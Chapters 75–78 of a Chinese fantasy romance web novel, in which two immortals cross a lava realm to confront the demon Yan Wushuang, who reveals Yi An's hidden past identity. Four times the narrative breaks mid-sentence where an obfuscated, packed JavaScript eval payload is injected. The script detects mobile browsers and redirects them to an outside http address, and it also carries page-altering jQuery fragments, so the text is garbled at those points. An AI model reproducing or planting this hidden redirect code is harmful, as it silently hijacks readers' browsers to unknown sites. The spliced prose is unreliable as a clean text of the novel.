见启灵神色不对，洛念安赶紧伸手搭上易桉的胳膊，示意他嘴下留情。接着便想转移话题：“其实……” “是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她刚摸上龙吟的枪柄，视线中便出现一道银光，断魂飞出，向上，紧接着无数道银光亮起，只一息之间，涌出的火石便裂成碎片。可是火石源源不断地涌出。 易桉收回断魂，抬手，向上面的结界注入法力。 “念将军？！”柳渊的声音在耳边炸起。 洛念安赶紧回：“我在。” 柳渊急切道：“大批妖鬼正赶往无量狱，你们在哪？” 洛念安道：“我们就在无量狱，不过现在没时间对付它们。你们留人护阵，余下速来无量狱支援。” “是。”柳渊应下。 退出读神阵，洛念安看向身侧的易桉，道：“事不宜迟。” 易桉点头，手握断魂，与洛念安一起转身进入无量狱。 75. 红心骰子应君真情 易桉牵着洛念安往前走出几步，周身的景象忽然发生了变化。二人脚步一顿，易桉往前跨出半步，将洛念安护在身后。 然而并无其他危险袭来，那原本的‘木’阵眼反而显现出来了。 “障眼法。”洛念安出声道。 易桉闲闲道：“她在玩什么无聊的闯关游戏吗？” 洛念安与之对望一眼，欲迈步向前，却被易桉拉住，他先行到前面去查看了。洛念安跟在他身后，凑过去探了一番。易桉尝试往阵眼处注入法力，那原本枯竭的阵眼忽然冒出一道绿光，冲天而起。 洛念安顺着绿柱抬眸，便瞥见九重天上的裂缝处，那里的火石由阵法撑着，暂无再下落的趋势。她转眸往无量狱中央处看去，那里依旧空空如也。 洛念安抿唇蹙眉，拉着易桉快步前行：“我们得快一些。” 下一步，她便迈入了虚空之境中，再走，便到了昔日那片湖泊旁，只是如今，原本墨绿色的湖水被滚滚岩浆替代。而当初的“水”阵眼，就在湖心的小岛上。 事情有些太顺利了，顺利得不正常。 二人对望一眼，默契环顾四周，却无半点不寻常。 “姐姐在这等我。”易桉交代一句，脚尖轻点落在湖中的小岛上。 洛念安感受着自身的变化，毫无变化。显然他的谎言现下不攻自破了。 话虽如此，但她可以当做什么都不知道。 洛念安若无其事地注视着易桉的动作，凝神戒备着周围。 忽然，从滚滚岩浆中冲出四架巨鱼骨，鱼身燃烧着烈烈火焰。 这四只洛念安不陌生，上次明明裂成碎片，如今竟仍能重组，还栖身在岩浆之中。 它们往岛上易桉那处袭去。 洛念安心下一紧，迅速抽出龙吟，欲起身相助。下一刻突然地动山摇，剧烈地晃动震得洛念安不得不以龙吟支地方能保持平衡。很快她便发现，她这一方土地高高耸起，岩浆瞬间倒灌至湖心岛。眼看着那四架鱼骨张着血盆大口，连同滚滚岩浆要将易桉吞没，洛念安想也不想，飞身而起，往易桉那处扑去。 飞扑出去的一瞬间，她脑子里什么想法都没有，只有和易桉一起，无论如何都一起。半道上才想好应对之策，结果莫名被什么东西拌了一下，身体一下子不受控制，这下是真真朝着易桉扑去了。 红艳艳的岩浆中忽然炸开了一道银光，将岩浆击退二丈，连带着冲上去的三具鱼骨再次炸成碎片，留了一具。 洛念安不受控制地扑过去，易桉将剑插在剩下的那具鱼骨上，转身轻轻一跃，张开手臂，在半空中将她结结实实地接了个满怀。他一离开，湖心岛再次被岩浆吞没，易桉缓缓下降，落在那具浮在岩浆里的鱼骨之上。 洛念安攀着他的肩头，盯着他凌厉的下颚线，一时失了神。 她不动，易桉自然也不动。他一手拖着洛念安的膝弯，另一只手握住剑柄，缓缓转动。那具鱼骨瞬时带着他们，顺着岩浆形成的河流而下。 怕洛念安不舒服，易桉收回手，又揽上她的脊背，将人往上托了托。 他这个动作，倒是将洛念安的思绪拉了回来。她微微动了动，小声道：“放我下来吧。” 易桉垂眸看向她，半晌，才依言将她放下。 洛念安被他扶着，脚踩在鱼骨上。她垂下眸道：“抱歉，本来想……结果还添了麻烦。” 易桉笑了笑：“怎么会，姐姐能奋不顾身赶来助我，我很高兴。” 洛念安点点头，眼眸微转，轻声道：“我方才想起一件事。” “何事？”易桉问。 洛念安依旧垂着眸：“五百年前，我也曾像方才那般，接下过一个小孩。” 易桉没有接话，不知是不感兴趣还是其他。 洛念安却看向他，继续道：“你认识他吗，小桉？” 易桉勾了勾唇角，视线落在前方：“我怎会认识？” “他叫洛太初。” “……” 易桉点点头，侧目看向她，轻笑道：“很好听的名字。” 洛念安垂眸弯唇：“是我为他取得，他一直都很喜欢。那时，我教他识字，他最先识得的是我的名字，其次便是他自己的名字了。他会拿着石子，蹲在院中，在土地上写，写满满一院，我的名字和他的名字。” 易桉不言，只伸手握上剑柄。 “小桉。”洛念安唤他。 易桉眼睫轻颤，却还是转眸看向她。 洛念安温声道：“你似乎对我的所有事情都了如指掌，当真从未听过他吗？” 她望着他，见他摇头，莫名松了一口气。 “好吧。”洛念安转过身，面向前方，轻声道，“遇到我之前，他过得并不顺遂，跟在我身边时也从未享过福。我不知他后来如何，是否安乐，是否顺意。我曾到司命星君处查找他的命簿，星君却告知我查无此人。或许是我弄错了，他的名字是我所起，他从未告诉我在遇到我之前他姓甚名谁，他说自己没有名字。我那时初到人间，信了。后来才反应过来，十岁的孩童怎么可能没有名字呢？” “五百年前，”易桉在她身后道，“以凡人的寿数来看，他早已离开人世，时移世易，这世间早无半分他来过的痕迹。” “可我还记得他。” 身后之人沉吟半晌，忽地轻笑一声：“能被姐姐记得如此之久，他也算值得。” 洛念安侧目，她的视线并没有落在易桉身上，只是眸光中出现了他的身影。她顿了顿，轻声道：“能遇见他，是我之幸。” 身后没了声音。 洛念安看向一侧高耸的崖壁，还有前方一眼望不到尽头的岩浆河，好奇问道：“它要带我们去哪？” 易桉似又恢复如常：“或许是我们想去的地方。” 洛念安回眸看了他一眼，又忍不住看向身侧瞬间升起的崖壁和天上的缝隙，不由担忧道：“她受最好的香火供奉几百年，又......”她停顿片刻，问道，“小桉，你说她既是当年的胜出者，为何不那时就一举毁尽三界，而要等到六百年后的今日？” 易桉道：“我记得姐姐曾说，之前从未触碰到那个笑面怪人？” “对。”洛念安点头，“故而昨日在不归川发现她能碰到我时，我当真十分惊讶。” 闻言，易桉道：“最说得通的解释便是，当初她与......”他停顿了一下，看向洛念安，继续道，“与天帝一战，应是同归于尽。天帝身为神族，身死魂散。但颜无双不会，她既成魔，怨气定不会少，以此她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068527|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身死后，魂魄离体，一时并未消散，并找准时机，趁天帝之魂魄尚未完全消散时进入了他的躯体，操控了他。” “所以，”洛念安道，“那六百年她一直是鬼，附身于我父君的神体中在神界调养生息。” 易桉点头：“这确实是最快保全自己魂魄的方法。想必那一战她自身损耗不小，就算想成鬼，一时半会儿也无法化形，只能抢占旁人的躯体。” 洛念安眸光一凛：“她一直想要天极雪莲为她重塑肉身。” 易桉道：“这确实是解释她藏身于神界最好的理由。” 洛念安目视前方，烈烈岩浆灼得她眼眶发热，她紧咬牙关，恨声道：“一人分饰四角，真是难为她了。”她深吸一口气，语气又恢复如常，“如此看来，她不仅受百年香火供奉，还有圣物重塑之身，想必实力远胜从前。那日无量狱内的幻境……想必也是她有意而为之。” “她想做什么呢？”易桉抬手搭上她的肩膀，缓声道：“试探姐姐如今的实力？” “……”洛念安垂下眸，自嘲一笑，“我五百年前就没胜过她，现在还有什么好试探的。” 易桉弯下腰，凑近她道：“姐姐也说了，那是在五百年前。姐姐天赋异禀，定一日千里。再者，姐姐生而为神，她再厉害，也只是肉身成神成魔，天道自然会站在姐姐这边。战胜她，是必然的。” 这番话听得洛念安一愣一愣的，她侧首与之对望好一会儿，突然连连摆手道：“不不不，也……也没有你说的那么厉害啦。” “姐姐信我，”易桉弯起唇角，“我凡赌，从未输过。” 洛念安抬手搔了搔面颊，怯怯道：“这……若是我开了先例，不太好吧？” 闻言，易桉在她耳边轻笑出声，笑了好一会儿，他忽然正声道：“不会的。” 他说着，在洛念安面前摊开手心，那处停着一枚晶莹剔透的骰子，红艳的一点点在中央，衬得那只手愈发苍白。 洛念安不解看他：“这是？” 易桉微笑道：“姐姐不妨试一试。” 洛念安眨了眨眼：“什么？” 易桉望着她：“我赌你赢。” 话落，他将那枚骰子高高抛起，抬手一握，递到洛念安面前。 “……”洛念安看了看他，不太确定道，“大？” 易桉轻轻一笑，摊开手掌，六个红点映入眼帘。 第二次。 洛念安：“……大？” 五点。 第三次。 洛念安：“还是大？” 六点。 说实话洛念安活了六百年运气从来没有这样好过，她不禁起疑道：“你没有出老千吧？” 易桉笑出了声：“天地良心，日月可鉴。” 见他如此真诚，洛念安收起疑心，看着自己面前的那只手，出声道：“小。” 手掌摊开，一个红点躺在手心。 洛念安惊喜抬眼，易桉正笑着望她：“我就说你会赢的。” 洛念安道：“那我再猜猜。” “好。”易桉应了她。 于是乎，二人莫名玩起骰子，且不亦乐乎。脚下的巨鱼骨在某鬼王的威压下，任劳任怨地穿梭在滚滚岩浆之中，将他们带至想去之处。 76. 无所谓值与不值得 洛念安一路赌，一路赢，心情莫名大好。 “真以为你能赢？” 洛念安的笑意骤然一僵，面色突变。 易桉见状，眉头轻轻蹙起，柔声道：“怎么了姐姐？” 洛念安懵然看向他：“你......有没有听见一道声音？” 易桉眼眸微转，似在注意着周身的动静，片刻后，他摇摇头：“姐姐听见什么了？” “是颜无双。”洛念安唇色发白，却始终强迫自己保持冷静，“她一直......在我们身边。” “姐姐，”易桉向前一步，双手揽住她的肩膀，微微弯腰，直视着她的双眸道，“这里是她的地盘，只要她想，得知我们的动向轻而易举，这并不奇怪，不要怕。” 闻言，洛念安对上那双眼睛，躁动不安的心又平静了些许，她胡乱点头道：“好。” 话音刚落，洛念安整个身子猛地向一侧斜去，易桉手疾眼快，伸手将她揽入怀中。 洛念安重新站定，小声道：“谢谢。”说完，她四下看去，原是到了“土”阵眼处，巨鱼骨速度很快，猛然停下，她一时不察才差点栽倒。 易桉隔空甩了一掌，抽得那鱼骨头在岩浆中沉浮一下。 洛念安赶紧抱住他的手臂，安抚道：“没事没事，别气别气。” 易桉垂眸望她，顺势一揽，带着她轻轻一跃上了岸。 在岩浆里漂了一会儿，再踩上实地，到有了异样的新鲜感。这片被岩浆包围的贫瘠的土地中央，尚存一丝灵力存在过的痕迹。 断魂还插在那鱼头上，于是它不得不在原地等待。 两人携手走向阵眼处，对望一眼，洛念安轻轻松手，易桉上前向阵眼内注入法力。 洛念安打量四周，迈步转悠起来，犹记得上次来时这里还是一片一望无际的平原，现下却成了一处岛屿。 估摸着时候差不多，洛念安转身欲返回原地。与此同时，一道光柱亮起，易桉也转了身。 二人同时脚步一顿。 三人立在原地面面相觑。 易桉挑眉看了看左侧的洛念安，又侧目看了看右侧的洛念安，问道：“姐姐在练习分身术吗？” “小桉，”两个洛念安同时开口，“那不是我！” “......” “......” 易桉挑起的唇角落下，两边各看一眼。 左侧的洛念安不再言语，右侧那个则继续道：“小桉，她是颜无双，快杀了她！” 易桉对上她的视线，片刻，又侧目看向左侧。 左侧的洛念安依旧不语，只望向易桉，视线在空中交汇。他忽然迈步，朝她走了过来。随着他的靠近，手心托起的银光也越聚越亮。 洛念安的视线落在那团银光上，又对上他的双眸。 易桉渐渐逼近，望着她语气森森道：“没有什么要说的吗？” 洛念安微微一怔，摇头，却对着他的视线，半点都没有移开。 易桉唇角轻勾，停在她面前。手心的银光向上托起，停住，忽然翻转方向，四指微动，银光向后击去。他微微弯腰，眼含笑意望着她道：“姐姐在期待什么？” 洛念安的视线从不远处飘飘然落下的黄纸上移开，一下子便在他眼中看见了自己。她微微一笑，道：“这都被你看出来了，我在期待你能不能认出我。” 易桉轻笑道：“我怎会认不出姐姐呢？” 洛念安好奇道：“你如何这么快认出我的？” “因为，”易桉直起腰身，轻声道，“姐姐看向我的眼中有一种情感。” 洛念安愣住，挑眼看向他。 易桉垂眸，弯着唇角继续道：“姐姐可以告诉我，那是什么吗？” 他目光灼灼，烧得洛念安浑身不自在，她垂着眼道：“我，我不知道。” 无言片刻，易桉轻笑一声：“开个玩笑。” “……”不知是不是岩浆灼热的缘故，令洛念安脸热心跳。她眼神飘忽不定，忽然道：“我们赶紧去看看那个假人吧。” 说着，她先绕过易桉往那处走去。洛念安蹲下身子，拾起那张黄纸，喃喃自语道：“傀儡术。”她将那张黄纸丢下，站起身，沉声道，“不愧是创始者。” “珈洛。” 一道阴森的女声忽然从四面八方传来。 洛念安浑身一震，听见她道：“你还有最后半个时辰哦，三界也是~” 洛念安双手握拳，咬牙道：“装神弄鬼。不如现身，你我单挑！” 颜无双尚无回应，易桉却先出了声：“单挑？” 洛念安一顿，侧目看向他。此刻，他似乎正因自己的话而眉头紧锁着。 “哈哈哈哈哈哈，珈洛，游戏还没结束呢。再说了，你我单挑？你确定，你赢得了我？” “无聊的把戏，”洛念安心里没底但嘴硬，“我何故赢不了你？” “是吗？”颜无双阴森森笑道，“我很期待呢，珈洛。” 停顿片刻，她又道：“对了，忘记给你看看，还有另外一个好玩的游戏。” 她说着，周围的岩浆忽然向上喷涌而起，形成一道灼热的火幕。紧接着，那道火幕上映出一幅幅画面，画面里火光滔天，哭声凄婉，哀叫连连。 颜无双的声音随着画面的呈现缓缓响起：“我告诉所有的凡人，半个时辰后烈烈岩浆会从天而降，吞没九州大地。哈哈哈，你猜怎么着，珈洛？你看看你誓死都要守护的苍生，得知这个消息后，杀人、放火无恶不作呢。哈哈哈哈，看到了吗？是不是十分有趣？” “值得吗，珈洛？” 一幅幅不堪的画面刺痛着洛念安的双眼，她阖上眸子，深吸几口气，发现自己竟然有一种死到临头的平静感。她缓缓睁眼，温声道：“我从未否认人性本有恶的一面。不过，还是那句话，就算一千个人里面只有一个人是真正的心性纯良，他们便值得被拯救。” “颜无双，你才是真正的不值得。” 画面中的惨烈还在不断上演，空中却没再响起那道声音。 洛念安不忍再看，侧过身，对着易桉。 易桉抬手，遮住她的双耳。 惨叫声被隔绝在外，颜无双的声音却铿锵有力地传入耳中：“你还有最后半个时辰。” 画面消失，岩浆又重新涌入河道。 二人对望一眼，默契迈步往巨鱼骨走去。一登上去，易桉便毫不客气地甩了它一巴掌：“快。” 巨鱼骨飞速冲了出去。 吃一堑长一智，洛念安这次倒是稳稳地站住，她低声道：“谁知道半个时辰在她那里到底是多久？” 易桉似安慰她道：“我们一路寻找阵眼，所遇之物都是她提前安排好的，大致方向应没错。” “但愿如此。”洛念安垂着眸，解除了神界读神阵的禁言，神识第一次进入读神阵内。 “明修真君何在？” 她一出声，原本吵翻天的读神阵瞬间静默下来。 只有明修回话道：“在。” 洛念安道：“人界出乱，各武职上神上仙忙于处置妖鬼，劳烦真君带余下众神众仙下界平定祸乱，安抚人心。” 明修道：“我们一届文人，如何能去平定祸乱呢？” 洛念安沉声道：“有法力傍身，妖鬼打不过，几个凡人也拦不住？” 明修瞬间噤声，片刻后道：“是。” “事不宜迟，”洛念安心中焦急，忍不住催促道，“凡不作为者，我等事后清算。” 阵内一阵静默，须臾，响起明修的声音：“明修领命。” 余下神仙紧跟其后齐声道：“我等领命。” 洛念安交代完，正欲退出读神阵，忽闻一人怯怯唤她：“殿下。” 洛念安停留下来。 他继续道：“……真的只剩半个时辰了吗？” 其他人并不言语，但一定都在等着一个答案。 洛念安并未停顿许久，她温声道：“放心。” 只这两个字，便离开了读神阵。 洛念安又找了柳渊：“柳将军，情况如何？” 柳渊过了一会儿才回声：“我们将众妖鬼截在了无量狱外。” 洛念安稍稍松了口气，道：“辛苦。” 柳渊道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15077245|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待我们解决完它们，便进去与你汇合。” 洛念安没有应这句话，只是道：“一切小心。” 退出读神阵，她猝然对上易桉的视线，微微一怔。 易桉只笑，不语。 洛念安却是见过这个眼神，崇拜的，敬仰的。 她在洛太初身上见过。 洛念安移开视线道：“我得在柳将军他们进来之前找到颜无双。”她说着，忽然一顿，又看向易桉，轻声道，“抱歉小桉，本不应将你拉进来的。”她又垂下眸，“只是我……我很需要你，我怕我一个人……做不到。” 易桉蹙下的眉头随即舒展开，他笑着道：“能被姐姐需要，是我的荣幸。至于这件事，”他顿了顿，继续道，“现下无数信徒的祈祷声仍在耳畔，我总不能平白受人香火供奉。” 洛念安猝然抬眸，撞进他笑意盈盈的眼中，也不禁微微一笑。 不消一会儿，巨鱼骨便载着二人来到“金”阵眼处。不知是岩浆高涨还是地势坍塌，原本位于半山腰处的阵眼竟浮于岩浆之上。多亏有这具巨鱼骨提供了一处落脚的地方，易桉靠近阵眼注入法力，洛念安则四下戒备。 好在一切顺利。 金光亮起，光柱直冲而上，与另外四处光柱汇合在某一处，又映射下来。无量狱中心处的那座宫殿随之显现，虽融于萧瑟之中，却也分外显眼。 “她一定在那里等着我。”洛念安看着远处那座破败残缺的宫殿，并无通关后的半分喜悦，反而心情愈发沉重。 易桉顺着她的视线转身看去，又回过头。 洛念安也移回视线，道：“走吧。” 脚下的巨鱼骨再次出发，这下是朝着魔宫的方向行进。 它速度飞快，眼前的岩浆河也越来越宽。巨鱼骨突然一飞而起，又向下坠去。眼前是一处巨大的岩浆瀑布，待看清形势，洛念安身子一斜，跟着下坠。易桉一把将她捞过，揽在怀中，另一只手收回断魂剑。 一阵天旋地转，易桉抱着她在半空中转身，他下她上，急速下坠。 眼见着易桉的后背要融入岩浆，洛念安惊恐地睁大双眸，下一瞬，他身下裂开一道缝隙，二人齐齐钻了进去，又双双跌落在地。 耳边传来一声闷响，又有什么东西掉落的声音。洛念安慌不择路手脚并用地爬起来，跪坐在易桉身旁，适应了黑暗之后，伸手环住他的手臂，急切道：“小桉？你没事吧？” 易桉利落坐起身，道：“没事。你呢？”他拉起洛念安的手看了看，“有没有碰到哪里？” 洛念安尚在惊吓中未回过神，眼眶微微泛红：“你在下面，我肯定没事啊。”她又忙着去察看易桉的后背，“你有没有被烫到啊？” 易桉似笑似叹：“我真的一点事都没有。” 洛念安一连说了好几句“那就好”，才想起来环视四周，周身黑漆漆的：“这是哪里？”她说着，便托起一团掌心焰，火光照亮了周围。 同时，她看见易桉低着头似在找什么东西。 洛念安跪坐在他左侧，见他一直往右侧偏着头，忍不住问道：“怎么了？在找什么？我帮你一起找。” 易桉抬起右手遮住右侧面颊，才侧目看过来。 洛念安瞬间明白他在找什么，于是燃起一团更大的掌心焰送往头顶，她站起身，一眼就看见了反射着光的那张银面具。便走上前去，捡起来，用袖子仔细擦拭了一番，才回过身来递给易桉：“给。” 易桉伸出的手指蜷了蜷，接过面具后，无声地看着洛念安。 洛念安瞬间明白，背过身去：“我不看。” 她的眸子四下望着，过了一会儿，身后传来很轻的一句：“好了。” 洛念安转过身，眸光忍不住落在那张面具上，又对上易桉的视线。她笑了笑，问道：这是哪里？” 易桉闻言，四下看了一圈，道：“不知。” “不知？”洛念安一愣。 易桉回过头来解释道：“虚空之境非我所开。” 这下洛念安彻底愣住了，不是他开的那就是…… 下一刻，大片烛光瞬间燃起，魔殿内灯火通明。 77. 假如生命只余三刻 通明的烛光将灰败的魔殿映衬的更加残缺荒凉。 殿内并无旁人，只有三面形状怪异的铜镜浮在半空，尽显诡异。 洛念安愣了神，直到一双苍白的手落在她的视线中。她缓缓抬眸，对上易桉的视线，伸出手，借着他的力道站起身：“是她带我们过来的。” 易桉环顾四周，似笑非笑道：“倒是省事了。” “也对，”洛念安强压下心中的那股不安，胡乱点头道，“本来就是要找她的。” 两人的手紧紧攥在一起，不知是注意力不在这上面还是什么，没有人想着松开。 洛念安抬眸看向悬在半空的那三面铜镜，心一下子沉入谷底。白锦的话犹在耳畔响起，她清楚地意识到如果靠近那里会发生什么。 这是颜无双为她设下的局。 “你来了，珈洛。” 声音从大殿的每一处角落传出，清晰落入洛念安的耳中。她抿唇环视四周，并不言语。 颜无双轻笑一声：“你可以挑选一面你喜欢的铜镜，来到我面前。” 洛念安道：“我一面都不喜欢。” “呵呵呵呵呵，”颜无双道，“你不想杀了我吗？不想拯救你的苍生？” 虽知不合时宜，但洛念安还是忍不住道：“苍生是自己的苍生，不是我的。” 颜无双沉默下来，片刻后，出声道：“还有最后三刻钟哦～” “......”声音彻底消失后，洛念安松开手，默默取下身后的麻袋，掏出龙吟接在一起。她接得很快，后又抬眼看向易桉，抿了抿唇道：“我先去了。” 易桉伸手抓住她的手腕，沉声道：“我先进去。” 洛念安却是摇了摇头，柔声道：“她的目标自始至终都是我，无论我在何处，都会见到她。她想让我们分开，此处应设了阵，你法力高深，破阵定比我快得多。待阵破，你便可进入寻我。” 易桉的眼眸似被担忧淹没，他道：“可是......” “你知道的，小桉，”洛念安轻柔地打断他，“我必须亲手杀了她。” 易桉合上唇，垂眸望着她。二人的视线在空中交汇，缠绕，生结。好半晌，洛念安手上的力道一松，却是易桉放了手，然后便听见他道：“等我。” 洛念安弯唇笑了笑，点头道：“我会等你。” 易桉眸光微颤，须臾，忽然将断魂塞入她手中，对她道：“姐姐，不要被她的言语所迷惑，五百年的岁月中，她只教了五年而已。” 洛念安微微一愣，懂了他话中之意。她垂眸一笑，道：“可是你把断魂给我做什么？” 易桉道：“也许能派上用场。”他说着，又将一个锦袋放入洛念安手中，“还有这个，若觉得她干扰到了姐姐，便吃一颗。” 洛念安手指微动，轻轻捏了捏锦袋，里面装着的应该是药丸。她扬唇笑了笑，将东西收好，道：“你给的东西总能派上用场。” 易桉面上却是半点笑意都无。 洛念安抬眸看他，只片刻，便移开视线。 “等我。”易桉道。 洛念安点头，深吸一口气，将断魂插入背后的麻袋，便转身，往前迈出几步。那铜镜似远在天边，又近在眼前，慢慢的，越来越近了。她忽然停下，支着龙吟，侧过身看向身后跟上来的易桉，也正好撞入他的视线。 他依旧是那样沉着面色，她看过来时，勉强挤出一个笑容。 两人隔着三步之远。 洛念安轻声道：“对了，有一件事我想现在应该告诉你。” “嗯，”易桉应道，“我在听。” 洛念安又侧了些身子，看着他的双眸，道：“我心悦你。” 清脆的声音在大殿中回响。 易桉瞳孔微缩，怔愣住，没了反应。 话一出口，洛念安倒不敢直视他的眼睛了，垂下眸继续道：“并不是寻常知己的那种喜欢，而是......若有机会，小桉，我想与你厮守一生。” 她好像听到了易桉吸气的声音，又多半觉得自己太紧张，听错了。 洛念安鼓起勇气，重新看向易桉，冲他微微一笑。易桉不知为何，像是石化了一般，愣在原地迟迟没有反应。 不过没关系，她本来也没想从他哪里得到任何回应，只要他明白自己的心意便好。 洛念安这么想着，回过头，提起龙吟，继续迈步向前。 身后似有风动。 她欲回头看，却被一道白光刺得闭上了双眼。待她再睁开眼，发现自己仍身处在魔宫之中，甚至是原地，只是面前并没有那三面铜镜，烛光通明的大殿内，前方的高台之上，坐着一位红衣似火的女子。 颜无双的视线从自己手指的红甲上移开，轻飘飘落下去：“你来了，珈洛。” 洛念安支着龙吟，视线顺阶而上，落在那张几乎和自己一模一样的人面上，出声道：“不是你将我们带到此处的吗？” 颜无双闻言，眼眸环视四周，手指放在烈焰红唇上，嫣然一笑：“是哦。”她站起身，缓缓往前几步，柔声道，“我想再见见你，珈洛。” “……”洛念安忍不住一阵恶寒，猜不出她的话语中到底有几分真心。多半是一分也没有的。 “何必耽误时间？”她举起长枪，枪尖直指颜无双。 “你看你，”颜无双又坐回那张璀璨的宝座之上，唇角依旧勾着笑，“这样心急。” 洛念安道：“半个时辰，是你说的。” 颜无双挑眉：“是啊，我说多久便是多久。或许将我哄高兴些，大家便都活得久一些。否则三界具毁，一切便都成灰了，不复存在了。” 洛念安盯着她的眼睛，缓声道：“开天辟地之初，天地混沌，母神创三界，造万物生灵，天地日月在，则神明在，神明在，则众生在。” “神……明？”颜无双手指搭在唇边，似将这二字反复品味了一番，然后冷笑道，“以往，你总说神明悲悯众生苦。” “自然。”洛念安道。 颜无双垂下眸，手指在脸侧轻点，轻声道：“你想听听我的故事吗，珈洛？” 她的故事，其实洛念安都知道，但是出于某种心理，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099718|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是点头：“你说，不过在此期间，你最好不要有任何小动作。” 颜无双嘲讽一笑，道：“吾乃一界魔尊，自然说话算话。” 洛念安看着她的眼睛，却看不透与自己相像的这张脸，这双眼中，流露出几分可信。 颜无双依旧轻点着脸颊，视线落在他处，似陷入回忆之中，她轻声道：“我是家中长女，那一年，边境战事吃紧，朝廷到处征兵，挨家挨户抓壮丁，父亲母亲不愿他们的儿子，我的弟弟吃苦受难，便逼迫我女扮男装替他出征。” 她手上的动作微动，继而道：“在军中，我一路升官，打了胜仗，班师回朝后，封了官位受了赏赐。我满心欢喜将父母兄弟接到京城享福，他们却觉得我抢了弟弟的官职，强迫我让出官位和财产，我不愿，他们便告发了此事。” 颜无双语气平静，话语却十分流畅，半分没有卡顿，似乎将这个故事在心中默念了千万遍。 “君王震怒，治我欺君之罪，却因我功勋累累，并未诛我九族，只是没收了官位和赏赐，将我打入大牢。”颜无双放下手，垂着眸，另一只手细细把玩着这只手的手指，“那些年的牢狱时光，我受尽折辱。那些往日被我使唤的人，一个一个，跑来使唤我，欺辱我。好像这样便能挽回他们被一个女子强压一头而失去的面子。一场宫变，我才能从牢狱里逃出，机缘巧合，救下幼年君主，因得这份功劳，做了将军。再后来，便飞升了，做了武神。我当初也以为，神明会悲悯众生，我也是众生一员，故而，他们也该悲悯我。” 她停顿片刻，抬眸看向洛念安：“却不是这样的，他们从不论我的功绩，反而清楚地知道，记得我被多少男人强迫！我守护的国民也从不论我的功绩，只因我是女子，便不愿踏入我的神庙认为我庇佑不了他们！”她忽然放声大笑，又狠声道，“我是庇佑不了他们，我只会……杀光他们！看不起我？就都别活！” 洛念安看着她，张了张嘴，道：“不是所有人都会有如此想法。” 颜无双冷笑一声：“那你告诉我，珈洛，你当初在上阳国教导储君，但任将军之职时，为何要男扮女装？” “……”洛念安沉默下来。 “因为你也知道，若是女子，你得不到那些。”颜无双猛地起身，往前迈出几步，目眦欲裂地看着她，近乎疯癫道，“珈洛，你不是自诩为神吗？你不是怜悯众生吗？不如……也来怜悯怜悯我？哈哈哈哈哈哈……” “你无需用这样怜悯的眼神看我，珈洛，如今你才是最可怜的人！” “……”洛念安从故事中抽离，五指紧紧握住龙吟，看着她，一字一句道：“是你害的。” 颜无双笑了几声，又坐了回去：“珈洛，错得不是我，是你的父亲。若他不来讨伐我，他便不会死。如此，早在六百年前就会三界具毁，你自然便不会来到这世上，受这样的苦。当然了，我确实得感谢洛太初，创出这样的术法，不然我的伟业也不会这样迅速的实现。哈哈哈哈……” 听着她的话，洛念安的神色陡然一凛，往前迈出几步，不可置信道：“你说谁？！” 78. 你我相遇五百年前 颜无双注视着她，半晌，嫣然一笑道：“你还不知道吗？” 洛念安死死盯着她，不语。 颜无双红甲点着嘴唇，眼眸一转，轻笑道：“我再给你讲一个故事吧。” 不等洛念安回答，她便继续道：“五百年前，有一人名为苗弛，九黎族人。亲族被攻，父母带其流落在外，后来他的父母也双双惨死，留他一人在人世之间。他在烂泥中长大，机缘巧合混入军中，好在他天资过人，智勇双全，又巧遇伯乐，一路高升，功勋卓绝。” 洛念安眉头一蹙：“苗弛？那是谁？” 她印象中自己从未到过九黎，不可能结识九黎族人，这个“苗弛”更是毫无印象。但她又觉得，颜无双不会无缘无故给她讲这个故事。 果然，颜无双垂眸看向她，嘴角扬起一抹意味不明的笑意：“哦对了，他后来啊，叫洛太初。” 洛念安猛地一怔。 颜无双毫不客气地继续道：“六亲情绝，天赋异禀，乃飞升命格。可惜，他遇见了你。” 洛念安指尖因用力而泛白，垂着眸，无措地四下张望着，她双唇颤了颤，虽已心知答案，却还是求证般问道：“易桉就是洛太初？” “是啊，”颜无双热衷于往她头上泼冷水，佯装惊讶道，“你们久别重逢，他没告诉你吗？”见洛念安没了反应，她扬唇大笑几声，“你说他现在名唤什么？忆安？嗯……呵呵呵，他还真是个痴情种呢，这么多年都没有忘记你。” 